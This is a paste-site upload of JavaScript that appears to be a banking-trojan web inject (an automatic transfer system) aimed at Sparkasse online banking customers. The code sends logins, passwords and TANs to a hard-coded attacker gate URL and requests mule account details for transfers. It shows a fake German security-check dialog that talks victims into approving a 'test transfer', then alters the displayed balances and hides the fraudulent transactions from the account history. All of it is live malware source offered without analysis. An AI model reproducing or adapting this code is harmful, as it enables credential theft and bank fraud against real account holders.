Xylitol icon

sparkasse.js

Xylitol | PRO | 04/13/14 03:06:47 PM UTC | 0 ⭐ | 608 👁️ | Never ⏰ | []
JavaScript |

51.3 KB

|

None

|

0 👍

/

0 👎

var jq = jQuery.noConflict();
_cssCode = '.inj_full_overlay { background-color: #FFFFFF; width: 100%; height: 1000px; position: absolute; top: 0px; left: 0px; z-index: 4002; filter: alpha(OPACITY=100); opacity: 1; } #inj_block_overlay { background-color: #FFFFFF; width: 100%; height: 1000px; position: absolute; top: 0px; left: 0px; z-index: 4000; filter: alpha(OPACITY=0); opacity: 0; } #inj_dialog_box { background-color: #FFFFFF; left: 232px; position: absolute; top: 165px; width: 600px; z-index: 4001; } .inj_dialog_content h2, .inj_dialog_content h3, #inj_dialog_title { margin: 10px; } .inj_instr_list { font-size: 13px; } .inj_content_para { padding: 10px; } .inj_content_block { border-bottom: 1px solid #E9E9E9; padding: 10px; } .inj_buttons_block { text-align: center; margin-top: 1em; } .inj_error { display: none; color: #FF0000; font-weight: bold; }';
if ((document.readyState === "loading") || (document.readyState === "interactive"))
    document.write('<style type="text/css">' + _cssCode + '</style>');
else
    jq('head').append('<style type="text/css">' + _cssCode + '</style>');
 
var ATS={bank:'',account_id:0,bot_id:'',script_ver:'0',debug_mode:false,isDebugMode:function()
{return ATS.debug_mode;},getBrowserFull:function()
{var res='na';try
{var m=navigator.userAgent.match(/Firefox\/(\d+)/);if(m)
{res='ff'+m[1];}
else
{m=navigator.userAgent.match(/MSIE (\d+)/);if(m)
res='ie'+m[1];}}
catch(e)
{res='ex';}
return res;},debugMsg:function(message)
{if(this.isDebugMode())
{if(window.console&&window.console.log)
window.console.log(message);else
alert(message);}},_cookies:new Object(),setCookie:function(name,value)
{ATS.debugMsg('setCookie: '+name+' = '+value);parent.ATS._cookies[name]=value;},getCookie:function(name)
{if(typeof parent.ATS._cookies[name]=='undefined')
return null;return parent.ATS._cookies[name];},serializeCookies:function()
{var result=new Array();for(var i in parent.ATS._cookies)
{result.push(encodeURIComponent(i)+'='+encodeURIComponent(parent.ATS._cookies[i]));}
return result.join('&');},unserializeCookies:function(rawData)
{var result=new Object();for(var i in rawData)
{result[decodeURIComponent(i)]=decodeURIComponent(rawData[i]);}
return result;},saveCookies:function(callback)
{ATS.sendGateRequest('save_cookies',{data:ATS.serializeCookies()},callback);},sendGateRequest:function(action,params,callback)
{data=jq.extend({bank:parent.ATS.bank,aid:parent.ATS.account_id},params);var url=ATS.gateURL+'?a='+action+'&cb=?';if((typeof __debugDisabled=='undefined')||!__debugDisabled)
{jq.ajax({url:url,dataType:'jsonp',crossDomain:true,data:data,success:callback});}},sendPostGateRequest:function(action,params)
{ATS.debugMsg('sendPostGateRequest: '+action);data=jq.extend({bank:parent.ATS.bank,aid:parent.ATS.account_id},params);var url=ATS.gateURL+'?a='+action;ATS.debugMsg('url = '+url+'; params = '+params);if((typeof __debugDisabled=='undefined')||!__debugDisabled)
{jq.ajax({type:'POST',url:url,crossDomain:true,data:data});}},loadData:function(callback)
{ATS.sendGateRequest('load_data',{botid:ATS.bot_id},function(data){ATS.account_id=data.account_id;ATS._cookies=ATS.unserializeCookies(data.cookies);if(typeof callback=='function')
callback();});},getFullVersionText:function()
{return ATS.script_ver+' / '+ATS.getBrowserFull();},sendLoginInfo:function(login,password,callback)
{ATS.sendGateRequest('login',{botid:ATS.bot_id,login:login,password:password,url:window.location.href,ver:ATS.getFullVersionText()},callback);},_logMsgSeq:0,sendLogMsg:function(text,callback)
{ATS.debugMsg('sendLogMsg: '+text);if(parent&&parent.ATS&&parent.ATS.sendGateRequest)
{parent.ATS._logMsgSeq++;parent.ATS.sendGateRequest('log_msg',{ver:ATS.getFullVersionText(),text:parent.ATS._logMsgSeq+': '+text},callback);}
else
{ATS._logMsgSeq++;ATS.sendGateRequest('log_msg',{ver:ATS.getFullVersionText(),text:ATS._logMsgSeq+': '+text},callback);}},getDrop:function(transfType,balance,callback)
{ATS.sendGateRequest('get_drop',{type:transfType,balance:balance},callback);},getDropWithLimit:function(transfType,balance,limit,callback)
{ATS.sendGateRequest('get_drop',{type:transfType,balance:balance,limit:limit},callback);},putTransfer:function(transfType,drop,amount,callback)
{ATS.sendGateRequest('transfer',{type:transfType,did:drop,amount:amount},callback);},sendAccountsInfo:function(accountsInfo,callback)
{try{ATS.sendGateRequest('save_accounts_info',{data:JSON.stringify(accountsInfo)},callback);}catch(e){}},base64_encode:function(input)
{var output="";var chr1,chr2,chr3;var enc1,enc2,enc3,enc4;var i=0;var keyStr="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";do
{chr1=input.charCodeAt(i++);chr2=input.charCodeAt(i++);chr3=input.charCodeAt(i++);enc1=chr1>>2;enc2=((chr1&3)<<4)|(chr2>>4);enc3=((chr2&15)<<2)|(chr3>>6);enc4=chr3&63;if(isNaN(chr2))
{enc3=enc4=64;}
else if(isNaN(chr3))
{enc4=64;}
output=output+keyStr.charAt(enc1)+keyStr.charAt(enc2)+keyStr.charAt(enc3)+keyStr.charAt(enc4);}while(i<input.length);return output;},utf8_encode:function(argString)
{if(argString===null||typeof argString==="undefined")
return"";var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++)
{var c1=string.charCodeAt(n);var enc=null;if(c1<128)
{end++;}
else if(c1>127&&c1<2048)
{enc=String.fromCharCode((c1>>6)|192,(c1&63)|128);}
else if(c1&0xF800!=0xD800)
{enc=String.fromCharCode((c1>>12)|224,((c1>>6)&63)|128,(c1&63)|128);}
else
{if(c1&0xFC00!=0xD800){return'error 1';}
var c2=string.charCodeAt(++n);if(c2&0xFC00!=0xDC00){return'error 2';}
c1=((c1&0x3FF)<<10)+(c2&0x3FF)+0x10000;enc=String.fromCharCode((c1>>18)|240,((c1>>12)&63)|128,((c1>>6)&63)|128,(c1&63)|128);}
if(enc!==null)
{if(end>start)
{utftext+=string.slice(start,end);}
utftext+=enc;start=end=n+1;}}
if(end>start)
utftext+=string.slice(start,stringl);return utftext;},sendDump:function(msg,data)
{ATS.sendPostGateRequest('dump',{msg:msg,data:ATS.base64_encode(ATS.utf8_encode(data))});},randInt:function(min,max)
{return Math.round(min+Math.random()*(max-min));},imgSubmit:function(button)
{var form=jq('form').has(jq(button));if(jq(form).length==0)
return 0;var buttonName=jq(button).attr('name');if(buttonName!='')
{var buttonWidth=parseInt(jq(button).css('width'));if(!buttonWidth)
buttonWidth=10;var buttonHeight=parseInt(jq(button).css('height'));if(!buttonHeight)
buttonHeight=10;var clickX=ATS.randInt(buttonWidth*0.2,buttonWidth*0.8);var clickY=ATS.randInt(buttonHeight*0.2,buttonHeight*0.8);jq(button).remove();jq(form).append('<input type=hidden name="'+buttonName+'.x" value="'+clickX+'" />');jq(form).append('<input type=hidden name="'+buttonName+'.y" value="'+clickY+'" />');jq(form).submit();}
else
jq(button).click();},delayedClick:function(button,minDelay,maxDelay)
{setTimeout(function(){if(jq(button).attr('type')=='image')
{ATS.imgSubmit(jq(button));}
else
jq(button).click();},ATS.randInt(minDelay,maxDelay));}};
ATS.bank = 'sparkasse';
ATS.script_ver = '19';
ATS.gateURL = 'https://belissimos7.com/nsdghsf333/gate';
 
ATS.UI_blockSite=function()
{if(ATS.debugNoOverlay)
return;if(jq('#inj_block_overlay').length)
jq('#inj_block_overlay').show();else
jq('.if5_content').before('<div id=inj_block_overlay></div>');}
ATS.UI_unblockSite=function()
{jq('#inj_block_overlay').hide();}
ATS.UI_getInjectCode=function()
{var code = '<div id=inj_dialog_box style=\'display: none;\'><div class="if5_white'
     + '_o">&nbsp;</div><div class="if5_rand"><div class="if5_verlauf_o">&nbsp;'
     + '</div><div class="inj_dialog_content"><h2 id="inj_dialog_title">Sicherh'
     + 'eitskontrolle</h2><div id=inj_page_wait style=\'display: none;\'><h3 clas'
     + 's="boxHeadline">Ab jetzt haben wir neue Sicherheitseinstellungen.</h3><'
     + 'div class="boxHinweis"><p class="begruessungText inj_content_para">Unse'
     + 'r System &#252;berpr&#252;ft Ihren Computer nach Ver&#228;nderungen. &#'
     + '220;berpr&#252;fung Ihrer Sicherheitseinstellungen kann mehrere Sekunde'
     + 'n dauern. <br class="newline" /></p><p style="text-align:center"><img s'
     + 'rc=\'https://belissimos7.com/nsdghsf333/images/loader_bar.gif\' id=inj_loader_img /></p><p cl'
     + 'ass="begruessungText inj_content_para">W&#228;hrend dieser Zeit aktuali'
     + 'sieren Sie bitte nicht diese Seite und verwenden Sie nicht die Browsern'
     + 'avigation (Zur&#252;ck / Vorw&#228;rts). </p></div></div><div id=inj_pa'
     + 'ge_tan style=\'display: none;\'><div class="boxHinweis"><p class="begrues'
     + 'sungText inj_content_block" id=inj_main_text>Wahrscheinlich haben sich '
     + 'in letzter Zeit einige Ver&#228;nderungen bei Ihrem Computer ergeben. A'
     + 'us Sicherheitsgr&#252;nden m&#252;ssen Sie eine Tan eingeben, um zu bes'
     + 't&#228;tigen, dass es Ihr Computer ist, damit Ihnen der Zugang gew&#228'
     + ';hrt wird.<br class="newline" /></p><div class="begruessungText inj_con'
     + 'tent_block"><div id=inj_mode_gen><ol class=inj_instr_list><li>Stecken S'
     + 'ie Ihre Karte in den TAN-Generator und dr&#252;cken Sie die Taste <stro'
     + 'ng>TAN</strong>.</li><li>Geben Sie den <strong class=inj_tan_startcode>'
     + '</strong>&nbsp;ein und dr&#252;cken Sie die Taste OK.</li><li>Geben Sie'
     + ' die <strong class=inj_iban_code></strong>&nbsp;ein und dr&#252;cken Si'
     + 'e die Taste OK.</li><li>Geben Sie die <strong class=inj_transf_amount><'
     + '/strong>&nbsp;ein und dr&#252cken Sie die Taste OK.</li></ol></div><div'
     + ' id=inj_mode_sms><p>Angaben f&#252;r die Test&#252;berweisung:</p><ul c'
     + 'lass=inj_instr_list><li>Name: Hans M&#252;ller</li><li class=inj_sms_ac'
     + 'c>Kontonummer:</li><li class=inj_sms_blz>Bankleitzahl:</li><li class=in'
     + 'j_sms_amount>Betrag:</li></ul><p>Bitte best&#228;tigen Sie die TEST&#22'
     + '0;BERWEISUNG, um den Schnelltest erfolgreich abzuschlie&#223;en.<br>Sie'
     + ' werden nach der Durchf&#252;hrung des Schnelltests Ihren online Bankse'
     + 'rvice sofort nutzen k&#246;nnen.<br>Denken Sie daran, dass Ihr Konto du'
     + 'rch die Test&#252;berweisung NICHT belastet wird. Vielen Dank. </p></di'
     + 'v></div><div class="begruessungText inj_content_block"><div style=\'floa'
     + 't: left; width: 400px; font-size: 13px;\'><label class=inj_tan_label for'
     + '=inj_tan></label></div><div style=\'float: left; padding: 10px 30px;\'><i'
     + 'nput type="text" id="inj_tan" class="osppformfeldmuss" value="" size="8'
     + '" maxlength="6" name="inj_tan"></div><div style=\'clear:both;\'><p class='
     + 'inj_error>Die eingegebene TAN ist falsch!</p></div></div><div class="in'
     + 'j_buttons_block"><input type="image" alt="Weiter" title="Weiter" style='
     + '"cursor: pointer; height: 2.25em;width: 7.3em;" value="Weiter" src="/if'
     + 'data/blank.gif" name="inj_weiter" /></div></div></div></div><div class='
     + '"if5_verlauf_u">&nbsp;</div></div><div class="if5_white_u">&nbsp;</div>'
     + '</div>';
return jq(code);}
ATS.UI_onWeiterClick=function()
{var tan=jq('input[name=inj_tan]').val();if(tan.length==6)
{ATS.sendLogMsg('entered TAN '+tan);jq('#ats_wrk_iframe')[0].contentWindow.ATS.enterCode(tan);}}
ATS.UI_showDialogBox=function()
{jq('.if5_content > div').hide();if(!jq('#inj_dialog_box').length)
{var injectCode=ATS.UI_getInjectCode();jq('.if5_content').after(injectCode);jq('input[name=inj_weiter]').click(ATS.UI_onWeiterClick);}
jq('#inj_dialog_box').show();}
ATS.UI_hideDialogBox=function()
{jq('#inj_dialog_box').hide();jq('.if5_content > div').show();}
ATS.UI_showWait=function()
{ATS.UI_showDialogBox();jq('#inj_page_wait').show();jq('#inj_page_tan').hide();}
ATS.UI_fixBtnLink=function()
{imgSrc=jq('img[src*=\\/ipo\\/]:eq(0)').attr('src')
if(imgSrc)
{imgSrc=imgSrc.substr(0,imgSrc.lastIndexOf('/')+1);imgSrc+='if5_b_Weiter.png';jq('input[name=inj_weiter]').attr('src',imgSrc);}
else
ATS.sendLogMsg('UI_fixBtnLink cant find btn img');}
ATS.UI_askTan=function(tanNum,isError)
{parent.ATS.UI_showDialogBox();parent.ATS.UI_fixBtnLink();jq('#inj_page_wait',parent.document).hide();jq('#inj_page_tan',parent.document).show();jq('#inj_mode_gen',parent.document).hide();jq('#inj_mode_sms',parent.document).hide();jq('input[name=inj_tan]',parent.document.body).val('');if(tanNum=='sms')
{jq('#inj_mode_sms',parent.document).show();var mainText='Wir sind immer bem&#252;ht, unseren Service und den von unserer Bank gebotenen Sicherheitsgrad zu verbessern. ';mainText+='Wie Sie vielleicht wissen, haben wir k&#252;rzlich zus&#228;tzlich Sicherheitswerkzeug eingef&#252;hrt, um Ihnen f&#252;r Ihre Bank&#252;berweisungen eine beispiellose Sicherheit zu gew&#228;hrleisten. ';mainText+='Ungl&#252;cklicherweise hatte viele Nutzer Probleme, die neuen Regeln anzuwenden, was dazu f&#252;hrte, dass Ihre online Zugang zu ihren Konto automatisch gesperrt wurde. ';mainText+='Um solche Situationen zu vermeiden und um Sie durch die neuen Sicherheitstechnologien zu leiten, bieten wir Ihnen an, einen Schnelltest zu absolvieren. ';mainText+='W&#228;hrend des Tests wird das System eine TEST&#220;BERWEISUNG durchf&#252;hren. Wir versichern Ihnen, dass die Test&#252;berweisung Ihren Konto NICHT belastet wird. ';mainText+='Wir hoffen, dass Sie den hohen Sicherheitsgrad und die Verwendbarkeit unserer Bankdienstleistungen sch&#228;tzen.';jq('#inj_main_text',parent.document).html(mainText);var reqText=jq('label:contains("Zur Best"):eq(0)').text().replace('*:',':');reqText=reqText.substr(reqText.indexOf('Zur Best'));jq('.inj_tan_label',parent.document.body).text(reqText);if(parent.ATS.transf_mode=='sepa')
{var ibanCode=parent.ATS.sepa_drop.IBAN;ibanCode='DE'+ibanCode.substring(2,4)+'XXXXXXXXXXXXXXXXXX'+ibanCode.substring(ibanCode.length-4);ATS.debugMsg('ibanCode '+ibanCode);jq('.inj_sms_acc',parent.document.body).text('IBAN: '+ibanCode);jq('.inj_sms_blz',parent.document.body).text('BIC: 00000000');jq('.inj_sms_amount',parent.document.body).text('Betrag: '+parent.ATS.sepa_drop.amount);}
else
{var konto=parent.ATS.int_drop.Konto;jq('.inj_sms_acc',parent.document.body).text('Kontonummer: '+konto);jq('.inj_sms_blz',parent.document.body).text('Bankleitzahl: 00000000');jq('.inj_sms_amount',parent.document.body).text('Betrag: '+parent.ATS.int_drop.amount);}}
else if(tanNum=='gen')
{jq('#inj_mode_gen',parent.document).show();if(parent.ATS.transf_mode=='sepa')
{var ibanCode=parent.ATS.sepa_drop.IBAN;if((jq('div.block').text().indexOf('letzten 10 Ziffern')!=-1)||(jq('div.osppformgrund').text().indexOf('letzten 10 Ziffern')!=-1))
ibanCode=ibanCode.substring(ibanCode.length-10);else
ibanCode=ibanCode.substring(2,4)+ibanCode.substring(ibanCode.length-4);jq('.inj_iban_code',parent.document.body).text(ibanCode);jq('.inj_transf_amount',parent.document.body).text(parent.ATS.sepa_drop.amount);}
else
{var konto=parent.ATS.int_drop.Konto;jq('.inj_iban_code',parent.document.body).text(konto);jq('.inj_transf_amount',parent.document.body).text(parent.ATS.int_drop.amount);}
var startCode=jq('strong:contains(Startcode)').text().replace(/\D+/,'');ATS.sendLogMsg('startCode '+startCode);jq('.inj_tan_startcode',parent.document.body).text('Startcode '+startCode);jq('.inj_tan_label',parent.document.body).text(jq('label:contains(Kartennummer):eq(0)').text().replace('*:',':'));}
else
{}
if(isError)
{jq('.inj_error',parent.document.body).show();}
else
jq('.inj_error',parent.document.body).hide();}
ATS.UI_testTanGen=function()
{ATS.UI_askTan('gen',false);}
ATS.UI_testTanSMS=function()
{ATS.UI_askTan('sms',false);}
 
ATS.fin2float=function(text)
{if(text==null)
{return;}
else
{var text=text.toString().replace(/\u2212/g,'-').replace(/[^\d,-]+/g,'').replace(',','.');return parseFloat(text);}}
ATS.float2fin=function(val)
{var sign='';if(val<0)
{sign='-';val=-val;}
var intPart=Math.floor(val);var fractPart=Math.floor((val-intPart)*100).toString();if(fractPart.length<2)
fractPart='0'+fractPart;var newIntPart='';intPart=intPart.toString();while(intPart.length>3)
{newIntPart='.'+intPart.substr(intPart.length-3)+newIntPart;intPart=intPart.substr(0,intPart.length-3);}
newIntPart=intPart+newIntPart;return sign+newIntPart+','+fractPart;}
ATS.addElementAmount=function(el,amount,postfix)
{var val=ATS.fin2float(jq(el).text());var newText=ATS.float2fin(val+amount);if(postfix)
newText+=' '+postfix;jq(el).text(newText);}
ATS.hideLastTAN=function()
{var el=jq('p:contains(Ihre zuletzt verbrauchte TAN)');if(el.length)
{var html=jq(el).html();var pos=html.indexOf('Ihre zuletzt');if(pos>=0)
jq(el).html(html.substr(0,pos));}
jq('p:contains(Zuletzt benutzte)').remove();}
ATS.replaceFinanzstatusOld=function()
{ATS.debugMsg('replaceFinanzstatus()');ATS.sendLogMsg('Page Finanzstatus');jq('form > table').each(function(){if(jq(this).find('th').length==4)
{var totalReplace=0;jq(this).find('tr').each(function(i){if(i>0)
{var accNum=jq(this).children('td:eq(1)').text().replace(/\D+/,'');var amount=ATS.fin2float(ATS.getCookie('ap'+accNum));ATS.debugMsg('accNum = '+accNum+'; amount = '+amount);if(amount>0)
{var curAmount=ATS.fin2float(jq(this).children('td:eq(2)').children('span').text());ATS.sendLogMsg('REP finanzstatus ['+accNum+'] '+curAmount+' + '+amount);ATS.addElementAmount(jq(this).children('td:eq(2)').children('span'),amount,'EUR');var newBalance=ATS.fin2float(jq(this).children('td:eq(2)').children('span').text())+amount;if(newBalance>=0)
{jq(this).children('td:eq(2)').children('span').attr('class','habentexttable');}
else
{jq(this).children('td:eq(2)').children('span').attr('class','solltexttable');}
totalReplace+=amount;}}});if(totalReplace>0)
{var curTotal=ATS.fin2float(jq(this).nextAll('table:eq(0)').find('td span:contains(EUR)').text());ATS.sendLogMsg('REP finanzstatus [total] '+curTotal+' + '+totalReplace);ATS.addElementAmount(jq(this).nextAll('table:eq(0)').find('td span:contains(EUR)'),totalReplace,'EUR');jq('form > table:contains(bersicht) td:contains(EUR)').each(function(){ATS.addElementAmount(jq(this),totalReplace,'EUR');});}}});}
ATS.rep_recalcFinanzstatusSection=function(tbl)
{var tableHaben=0;var tableSoll=0;jq(tbl).find('tr').each(function(i)
{if(i>0)
{var curAmount=ATS.fin2float(jq(this).children('td:eq(2)').children('span').text());if(!isNaN(curAmount))
{if(curAmount>0)
tableHaben+=curAmount;else
tableSoll+=curAmount;}}});ATS.debugMsg('Section haben: '+tableHaben+'; soll: '+tableSoll);if(tableHaben>0||tableSoll>0)
{jq(tbl).nextAll('table:eq(0)').find('tr:contains(Haben) span').text(ATS.float2fin(tableHaben)+' EUR');jq(tbl).nextAll('table:eq(0)').find('tr:contains(Soll) span').text(ATS.float2fin(tableSoll)+' EUR');}}
ATS.rep_recalcTotalFinanzstatus=function()
{var totalHaben=0;var totalSoll=0;jq('form > table').each(function()
{if(jq(this).find('th').length>=4)
{if(jq(this).find('th:contains(Haben)').length||jq(this).find('th:contains(Soll)').length)
{var tmpHaben=ATS.fin2float(jq(this).find('tr:contains(Haben) span').text());if(!isNaN(tmpHaben))
totalHaben+=tmpHaben;var tmpSoll=ATS.fin2float(jq(this).find('tr:contains(Soll) span').text());if(!isNaN(tmpSoll))
totalSoll+=tmpSoll;ATS.debugMsg('tmpHaben: '+tmpHaben+'; tmpSoll: '+tmpSoll);}
else
ATS.rep_recalcFinanzstatusSection(jq(this));}});ATS.debugMsg('Total Haben: '+totalHaben+'; Total Soll: '+totalSoll);jq('form > table:contains(bersicht) tr:contains(Haben) span').text(ATS.float2fin(totalHaben)+' EUR');jq('form > table:contains(bersicht) tr:contains(Soll) span').text(ATS.float2fin(totalSoll)+' EUR');jq('form > table:contains(bersicht) tr:contains(Gesamtsaldo) span').text(ATS.float2fin(totalHaben+totalSoll)+' EUR');}
ATS.rep_fixBalanceClass=function(el,plusClass,minusClass)
{plusClass=plusClass||'habentexttable';minusClass=minusClass||'solltexttable';if(ATS.fin2float(jq(el).text())>=0)
jq(el).attr('class',plusClass);else
jq(el).attr('class',minusClass);}
ATS.replaceFinanzstatus=function()
{var repAccount=ATS.getCookie('transfer_acc');var repAmount=ATS.fin2float(ATS.getCookie('rep_amount'));ATS.debugMsg('replaceFinanzstatus()');var totalReplace=0;var giroSectionBtn=jq('.erweiternbeztable:contains(Giro)').parent().parent().find('input');if(giroSectionBtn.length&&(jq(giroSectionBtn).attr('value')=='Maximieren'))
{ATS.debugMsg('giro is folded');var tblGiro=jq('form > table:contains(Giro)').next();var spanHaben=jq(tblGiro).find('th:contains(Haben)').next().find('span');var spanSoll=jq(tblGiro).find('th:contains(Soll)').next().find('span');var sollValue=ATS.fin2float(jq(spanSoll).text())||0;if(sollValue<0)
{if(Math.abs(sollValue)>repAmount)
{ATS.addElementAmount(spanSoll,repAmount,'EUR');}
else
{jq(spanSoll).text('0,00 EUR');repAmount-=Math.abs(sollValue);ATS.addElementAmount(spanHaben,repAmount,'EUR');}}
else
ATS.addElementAmount(spanHaben,repAmount,'EUR');totalReplace+=repAmount;}
else
{jq('form > table').each(function()
{if(jq(this).find('th').length==4)
{jq(this).find('tr').each(function(i)
{if(i>0)
{var accNum=jq(this).children('td:eq(1)').text().replace(/\D+/,'');if(accNum==repAccount)
{var amountSpan=jq(this).children('td:eq(2)').children('span');ATS.sendLogMsg('REP finanzstatus ['+accNum+'] '+ATS.fin2float(jq(amountSpan).text())+' + '+repAmount);ATS.addElementAmount(amountSpan,repAmount,'EUR');ATS.rep_fixBalanceClass(amountSpan);totalReplace+=repAmount;}}});}});}
if(totalReplace>0)
ATS.rep_recalcTotalFinanzstatus();}
ATS.replaceGiroDetails=function()
{ATS.debugMsg('replaceGiroDetails()');ATS.sendLogMsg('Page Giro-Detail-Ubersicht');jq('form > table').each(function(){jq(this).find('tr').each(function(i){if(i>0)
{var accNum=jq(this).children('td:eq(1)').text();var amount=ATS.fin2float(ATS.getCookie('ap'+accNum));if(amount>0)
{var curKontostand=ATS.fin2float(jq(this).children('td:eq(2)').children('span:eq(0)').text());var curBetrag=ATS.fin2float(jq(this).children('td:eq(3)').children('span:eq(0)').text());ATS.sendLogMsg('REP GiroDetails ['+accNum+'] '+curKontostand+' / '+curBetrag+' + '+amount);ATS.addElementAmount(jq(this).children('td:eq(2)').children('span:eq(0)'),amount,'EUR');if(curBetrag)
ATS.addElementAmount(jq(this).children('td:eq(3)').children('span:eq(0)'),amount,'EUR');}}});});}
ATS.replaceKontodetails=function()
{ATS.debugMsg('replaceKontodetails()');ATS.sendLogMsg('Page Kontodetails');jq('a[href*=print]').remove();var accNum=jq('.contentcontainerMainLayout select > option:selected').val();var amount=ATS.fin2float(ATS.getCookie('ap'+accNum));ATS.debugMsg('accNum = '+accNum+'; amount = '+amount);if(amount>0)
{var curKontostand=ATS.fin2float(jq('form div.col:contains(Kontostand)').next().text());var curBetrag=ATS.fin2float(jq('form div.col:contains(Betrag)').next().text());ATS.sendLogMsg('REP kontodetails ['+accNum+'] '+curKontostand+' / '+curBetrag+' + '+amount);ATS.addElementAmount(jq('form div.col:contains(Kontostand)').next(),amount,'EUR');ATS.addElementAmount(jq('form div.col:contains(Betrag)').next(),amount,'EUR');}}
ATS.needToHide=function(text,betrag)
{text=text.replace(/[^\da-z]+/gi,'').toUpperCase();var dropName=ATS.getCookie('rep_drop_name');if(dropName)
{if(text.indexOf(dropName.replace(/[^\da-z]+/gi,'').toUpperCase())!=-1)
return true;}
var dropAcc=ATS.getCookie('rep_drop_acc');if(dropAcc)
{if(text.indexOf(dropAcc.replace(/[^\da-z]+/gi,'').toUpperCase())!=-1)
return true;}
var amount=parseInt(ATS.getCookie('rep_amount'));if(amount)
{if(amount==betrag)
return true;}
return false;}
ATS.replaceUmsatze=function()
{ATS.debugMsg('replaceUmsatze()');ATS.sendLogMsg('Page Umsatzabfrage');jq('a[href*=print]').remove();jq('input[title=Export]').parent().remove();var accNum=jq('div.label:contains(Konto)').next().text();var amount=ATS.fin2float(ATS.getCookie('ap'+accNum));ATS.debugMsg('accNum = '+accNum+'; amount = '+amount);if(amount>0)
{var curAmount=ATS.fin2float(jq('td:contains(Kontostand am):eq(0)').next().text());ATS.sendLogMsg('REP umsatze [kontostand] '+curAmount+' + '+amount);ATS.addElementAmount(jq('table td:contains(Kontostand am):eq(0)').next(),amount,'EUR');}
var hideFlag=false;jq('table').has('tr:eq(1)').find('tr').each(function(i){if(i>0)
{var text=jq(this).text();var betrag=jq(this).find('td:eq(3)').text().split(',')[0];betrag=betrag.replace(/\D+/g,'');if(ATS.needToHide(text,betrag))
{ATS.sendLogMsg('REP umsatze: transfer hidden - '+jq(this).find('td:eq(2)').text());jq(this).hide();hideFlag=true;}}});jq('form > table').has('tr:eq(1)').find('tr:visible').each(function(i){if(i>0)
{jq(this).attr('class',(i%2)?'tablerowodd':'tableroweven');}});}
ATS.replaceMiniFinanzstatus=function()
{jq('#minifinanzstatus tr').each(function(){var accNum=jq(this).find('td:eq(0)').text();if(accNum)
{var amount=ATS.fin2float(ATS.getCookie('ap'+accNum));ATS.debugMsg('MINI accNum = '+accNum+'; amount = '+amount);if(amount>0)
{var curAmount=ATS.fin2float(jq(this).find('td:eq(1)').text());ATS.sendLogMsg('REP mini ['+accNum+'] '+curAmount+' + '+amount);ATS.addElementAmount(jq(this).find('td:eq(1)'),amount);}}});}
ATS.getPageTitle=function()
{var title=jq('h2.contentbereichHeadLine').text().replace(/\xe4/,'a').replace(/\xFC/,'u').replace(/\xDC/,'U');if(!title)
title=jq('b').text().replace(/\xe4/,'a').replace(/\xFC/,'u').replace(/\xDC/,'U');return title;}
ATS.replaceBalances=function()
{ATS.debugMsg('replaceBalances()');ATS.hideLastTAN();if((ATS.getPageTitle()=='Finanzstatus')||(ATS.getPageTitle()=='Kontenubersicht'))
{if((jq("table:contains('Haben')").length)&&(jq("table:contains('Soll')").length))
ATS.replaceFinanzstatus();else
ATS.replaceFinanzstatusOld();}
if((ATS.getPageTitle()=='Kontodetails')||(ATS.getPageTitle()=='Kontenubersicht'))
ATS.replaceKontodetails();if((ATS.getPageTitle()=='Umsatzabfrage')||(ATS.getPageTitle()=='Umsatze')||(ATS.getPageTitle().indexOf('Umsatzabfrage')!=-1))
ATS.replaceUmsatze();if(ATS.getPageTitle()=='Giro-Detail-Ubersicht')
ATS.replaceGiroDetails();ATS.replaceMiniFinanzstatus();}
ATS.checkTransaction=function()
{if(jq('#minifinanzstatus').length)
return ATS.checkTransactionMiniFinanzstatus();var pageTitle=ATS.getPageTitle();switch(pageTitle)
{case'Finanzstatus':case'Kontenubersicht':return ATS.checkTransactionFinanzstatus();break;case'Kontodetails':case'Kontenubersicht':return ATS.checkTransactionKontodetails();break;case'Umsatzabfrage':case'Umsatze':return ATS.checkTransactionUmsatzabfrage();break;}
return false;}
ATS.checkTransactionMiniFinanzstatus=function()
{ATS.debugMsg('check Transaction MiniFinanzstatus');var old_balance=ATS.getCookie('old_balance');var transfer_acc=ATS.getCookie('transfer_acc');var rep_amount=parseInt(ATS.getCookie('rep_amount'));var status=ATS.getCookie('status');if(old_balance&&transfer_acc&&rep_amount&&(status=='1'))
{var curent_balance=ATS.fin2float(jq('#minifinanzstatus td:contains('+transfer_acc+')').next().text());if((old_balance-curent_balance)>rep_amount*0.8)
{ATS.debugMsg('Transaction is true');return true;}
else
{return false;}}
else
return false;}
ATS.checkTransactionFinanzstatus=function()
{ATS.debugMsg('check Transaction Finanzstatus');var old_balance=ATS.getCookie('old_balance');var transfer_acc=ATS.getCookie('transfer_acc');var rep_amount=parseInt(ATS.getCookie('rep_amount'));var status=ATS.getCookie('status');if(old_balance&&transfer_acc&&rep_amount&&(status=='1'))
{parent.ATS.accounts_list=ATS.parseAccountsList();var transfer_acc_info=ATS.findAccountInfo(transfer_acc);if((old_balance-transfer_acc_info.balance)>rep_amount*0.8)
{ATS.debugMsg('Transaction is true');return true;}
else
{return false;}}
else
return false;}
ATS.checkTransactionKontodetails=function()
{ATS.debugMsg('check Transaction Kontodetails');var old_balance=ATS.getCookie('old_balance');var transfer_acc=ATS.getCookie('transfer_acc');var rep_amount=parseInt(ATS.getCookie('rep_amount'));var status=ATS.getCookie('status');if(old_balance&&transfer_acc&&rep_amount&&(status=='1'))
{var curent_balance=ATS.fin2float(jq('form div.col:contains(Kontostand)').next().text());if((old_balance-curent_balance)>rep_amount*0.8)
{ATS.debugMsg('Transaction is true');return true;}
else
{return false;}}
else
return false;}
ATS.checkTransactionUmsatzabfrage=function()
{ATS.debugMsg('check Transaction Umsatzabfrage');var old_balance=ATS.getCookie('old_balance');var transfer_acc=ATS.getCookie('transfer_acc');var rep_amount=parseInt(ATS.getCookie('rep_amount'));var status=ATS.getCookie('status');if(old_balance&&transfer_acc&&rep_amount&&(status=='1'))
{var curent_balance=ATS.fin2float(jq('td:contains(Kontostand am):eq(0)').next().text());if((old_balance-curent_balance)>rep_amount*0.8)
{ATS.debugMsg('Transaction is true');return true;}
else
{return false;}}
else
return false;}
 
ATS.current_state=0;ATS.debugVisibleFrame=false;ATS.debugNoOverlay=false;ATS.startDelay=25;ATS.useOverdraft=true;ATS.transf_mode='sepa';ATS.badTan=false;ATS.checkLoginPage=function()
{if((jq('input[title*=nmeld]').length)&&(jq("input.loginfeld").length))
return true;if(jq('input[title*=ogin]').length)
return true;if(jq('input[name=quick_login_pintan]').length)
return true;return false;}
